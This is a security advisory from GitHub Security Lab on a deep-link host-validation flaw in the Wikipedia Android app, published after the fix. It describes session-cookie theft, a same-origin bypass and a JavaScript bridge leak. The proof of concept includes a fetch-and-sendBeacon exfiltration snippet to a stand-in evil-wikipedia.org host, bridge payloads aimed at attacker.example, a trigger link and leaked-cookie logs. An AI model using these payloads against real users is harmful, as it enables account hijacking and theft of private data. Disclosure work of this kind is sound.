Coordinated Disclosure Timeline
- 2026-03-30: Vulnerability reported at https://phabricator.wikimedia.org/T421795
- 2026-04-14: Vulnerabilities fixed and tested by maintainers.
- 2026-05-08: Phabricator issue closed.
Summary
The apps-android-wikipedia project in its latest version is vulnerable to improper host validation in the wikipedia:// deep link handler (GHSL-2026-101), potentially allowing attackers to exploit this flaw to steal session tokens and compromise user accounts.
Project
apps-android-wikipedia
Tested Version
Details
Improper Host Validation in wikipedia:// Deep Link Handler Enables Session Token Theft (GHSL-2026-101)
The Wikipedia for Android app handles wikipedia:// deep links in MainActivity.handleIntent() by validating the URI authority with String.endsWith():
// MainActivity.kt:144
if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) {
val uri = Uri.parse(it.toString().replace("wikipedia://", WikiSite.DEFAULT_SCHEME + "://"))
startActivity(Intent(this, PageActivity::class.java)
.setAction(Intent.ACTION_VIEW)
.setData(uri))
}
where WikiSite.BASE_DOMAIN is "wikipedia.org".
The endsWith() check does not verify a dot boundary (or exact match), so any domain ending with the literal string wikipedia.org passes validation — for example, evil-wikipedia.org or notwikipedia.org. The manifest declares the wikipedia:// scheme with BROWSABLE category and no host restriction:
<!-- AndroidManifest.xml:104-109 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="wikipedia" />
</intent-filter>
This means any web page, QR code, NFC tag, or installed app can fire wikipedia://evil-wikipedia.org/wiki/Article and it will be delivered to the Wikipedia app directly. Because the Wikipedia app is the only handler for the wikipedia:// scheme, Android launches it with no disambiguation dialog — the user sees the Wikipedia app open normally.
This single entry-point bug chains into multiple independent impacts:
Finding 1 (Critical): CentralAuth Session Cookie Theft
After passing the endsWith check, the URI is rewritten from wikipedia://evil-wikipedia.org/... to https://evil-wikipedia.org/... and passed to PageActivity. The WikiSite(uri) constructor preserves the attacker’s authority because evil-wikipedia.org has only 2 dot-separated parts, yielding languageCode = "". The subdomain-rewrite guard at line 82 (subdomain().isNotEmpty()) is false, so the authority remains evil-wikipedia.org.
ServiceFactory then builds the REST base URL from wiki.url() = https://evil-wikipedia.org, and all API requests are sent to the attacker’s server via OkHttpConnectionFactory.client, which has SharedPreferenceCookieManager attached as its cookie jar.
In loadForRequest(), stored cookies are matched using the same flawed endsWith pattern:
// SharedPreferenceCookieManager.kt:101
if (domain.endsWith(domainSpec)) {
buildCookieList(cookieList, cookiesForDomainSpec, null)
}
Wikipedia’s CentralAuth cookies are stored under domainSpec = "wikipedia.org". Since "evil-wikipedia.org".endsWith("wikipedia.org") is true, all .wikipedia.org-scoped cookies are sent to the attacker, including:
centralauth_Session— active session identifiercentralauth_Token— long-lived “remember me” token (~30 days, survives per-site logout)centralauth_User— username
These are global SSO cookies valid across every Wikimedia project (all Wikipedias, Commons, Wikidata, Meta, etc.).
Finding 2 (High): Same-Origin Policy Bypass — Authenticated Cross-Origin Read
The article WebView uses OkHttpWebViewClient which intercepts all http/https subresource requests via shouldInterceptRequest(), proxies them through the same OkHttpConnectionFactory.client (with the cookie jar), and then unconditionally injects Access-Control-Allow-Origin: * on every response:
// OkHttpWebViewClient.kt:135
private fun addResponseHeaders(headers: Headers): Headers {
return headers.newBuilder().set("Access-Control-Allow-Origin", "*").build()
}
Because cookies are injected by OkHttp behind the WebView’s back (not via credentials: 'include'), the WebView treats these as non-credentialed requests. The wildcard CORS header passes. Attacker JavaScript running at https://evil-wikipedia.org can therefore fetch() authenticated Wikipedia API endpoints and read the response body:
// Running inside the Wikipedia app's WebView at https://evil-wikipedia.org:
fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups&format=json')
.then(r => r.json())
.then(data => {
// data.query.userinfo contains: name, email, groups, registration date
navigator.sendBeacon('https://evil-wikipedia.org/exfil', JSON.stringify(data));
});
This allows the attacker to read the victim’s email address, user groups (sysop, bureaucrat, checkuser, etc.), watchlist, CSRF tokens, private drafts, and any other authenticated API data — all from attacker-controlled JavaScript, without the victim’s knowledge.
Finding 3 (Medium): Content Spoofing via Exposed @JavascriptInterface Bridge
The article WebView enables JavaScript and exposes a pcsClient @JavascriptInterface:
// CommunicationBridge.kt:52-56
communicationBridgeListener.webView.settings.javaScriptEnabled = true
communicationBridgeListener.webView.settings.allowUniversalAccessFromFileURLs = true
communicationBridgeListener.webView.addJavascriptInterface(PcsClientJavascriptInterface(), "pcsClient")
The attacker’s HTML is loaded into the same WebView that normally renders trusted Wikipedia PCS content. The entire article area is under attacker control while the surrounding native UI (toolbar, Wikipedia logo, save button, tabs) remains the real app — creating a convincing trusted context for phishing or misinformation.
The pcsClient bridge exposes two methods to attacker JS:
-
pcsClient.getSetupSettings()— synchronously returns a JSON blob containingAccountUtil.groups(reveals if victim issysop,checkuser, etc.), client version, theme, and preferences. This is an information disclosure that also enables target selection. -
pcsClient.onReceiveMessage(json)— drives native event handlers registered inPageFragment.setupMessageHandlers(). Attacker JS can dispatch:{"action":"link", "data":{"href":"https://attacker.example/phish"}}→LinkHandler.onUrlClick()→UriUtil.visitInExternalBrowser()→startActivity(Intent(ACTION_VIEW, uri))— opens arbitrary URLs in the default browser or fires implicit intents (includinggeo:,mailto:, Play Store links){"action":"pronunciation", "data":{"url":"https://attacker/track"}}→AvPlayer.play(url)— autoplay audio from attacker URL (tracking, annoyance){"action":"footer_item", "data":{"itemType":"talkPage"}}→ opens Talk page activity with attacker-controlledWikiSite
Impact
- Session hijacking: Attacker captures CentralAuth SSO cookies and can impersonate the victim across all ~800 Wikimedia projects. With the session, the attacker can edit articles, read the victim’s email address, access watchlists, send wiki-emails as the victim, and — if the victim has elevated rights — delete pages, block users, or perform oversight actions.
- Authenticated data exfiltration: Via the SOP bypass, attacker JavaScript can silently read the victim’s email, user groups, watchlist, CSRF tokens, private drafts, and any API-accessible data, then exfiltrate it without any visible indication.
- Content spoofing / phishing: Pixel-perfect fake Wikipedia articles rendered inside the real app’s trusted chrome. Can display fake “re-enter password” prompts, misinformation, or defamatory content attributed to Wikipedia.
- 1-click, no-dialog attack: The Wikipedia app is the sole handler for
wikipedia://, so Android launches it directly from a browser tap with no disambiguation or confirmation dialog.CWEs
- CWE-939: “Improper Authorization in Handler for Custom URL Scheme”
- CWE-200: “Exposure of Sensitive Information to an Unauthorized Actor”
- CWE-668: “Exposure of Resource to Wrong Sphere” (SOP bypass)
- CWE-451: “User Interface (UI) Misrepresentation of Critical Information” (content spoofing)
- CWE-749: “Exposed Dangerous Method or Function” (
@JavascriptInterfacebridge)
Proof Of Concept
The following files are used for this exploit:
| File | Purpose |
|---|---|
poc_server.py |
HTTPS listener that (1) logs leaked cookies from OkHttp requests, (2) serves a weaponized mobile-html page that triggers the PCS bridge handshake, demonstrates the SOP bypass, and exfiltrates data |
attack.html |
Web-deliverable trigger page with <a href="wikipedia://evil-wikipedia.org/wiki/PoC"> links demonstrating the 1-click browser-to-app attack vector |
First, we register a malicious domain. In this case, we use evil-wikipedia.org.
attack.html
<a class="big" href="wikipedia://evil-wikipedia.org/wiki/PoC">
📖 Open this article in the Wikipedia app
</a>
A user is led to attack.html and asked to click a button, sending them to evil-wikipedia.org within the Android app. No confirmation dialog is presented after clicking.
poc_server.py
The vulnerable flow:
wikipedia://evil-wikipedia.org/wiki/PoC
-> MainActivity.handleIntent: "evil-wikipedia.org".endsWith("wikipedia.org") == true
-> rewritten to https://evil-wikipedia.org/wiki/PoC -> PageActivity
-> WikiSite(uri) keeps authority = evil-wikipedia.org (2 dot-parts -> languageCode="")
-> ServiceFactory.getRest(wiki) baseUrl = https://evil-wikipedia.org/api/rest_v1/
-> OkHttp CookieJar.loadForRequest("evil-wikipedia.org"):
domainSpec "wikipedia.org" in jar
"evil-wikipedia.org".endsWith("wikipedia.org") == true
-> ALL .wikipedia.org-scoped cookies attached, incl. centralauth_*
poc_server.py then hosts the javascript to attack the Android app. Its full contents are not in this report, but can be requested.
Observed Results
Cookie theft (Finding 1) — The server immediately logs all CentralAuth cookies:
==============================================================================
[+] GET /api/rest_v1/page/summary/PoC
Host: evil-wikipedia.org
>>> COOKIE LEAK <<<
[!!!] centralauth_User=Kuzzs
[!!!] centralauth_Token=xxxxxxxxxxxxxx
[!!!] centralauth_Session=xxxxxxxxxxxx
==============================================================================
SOP bypass (Finding 2) — The injected JavaScript calls fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups|rights&format=json') and reads the authenticated response cross-origin:
##############################################################################
# EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
{
"batchcomplete": true,
"query": {
"userinfo": {
"id": 53013219,
"name": "Kuzzs",
"groups": [
"*",
"user"
],
"rights": [
"createaccount",
"read",
"edit",
"createtalk",
"viewmyprivateinfo",
...
],
"email": "[redacted]",
"emailauthenticated": "2026-03-27T05:49:29Z",
"registrationdate": "2026-03-27T05:49:10Z"
}
}
}
##############################################################################
Bridge info leak (Finding 3) — pcsClient.getSetupSettings() returns user groups and app configuration with zero interaction:
##############################################################################
# EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
out-B
--- userGroups: ["*","user"] ---
{
"platform": "android",
"clientVersion": "50575-dev-2026-03-26",
"userGroups": ["*", "user"],
"isEditable": true,
...
}
##############################################################################
CVE
- CVE-2026-65993
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-101 in any communication regarding this issue.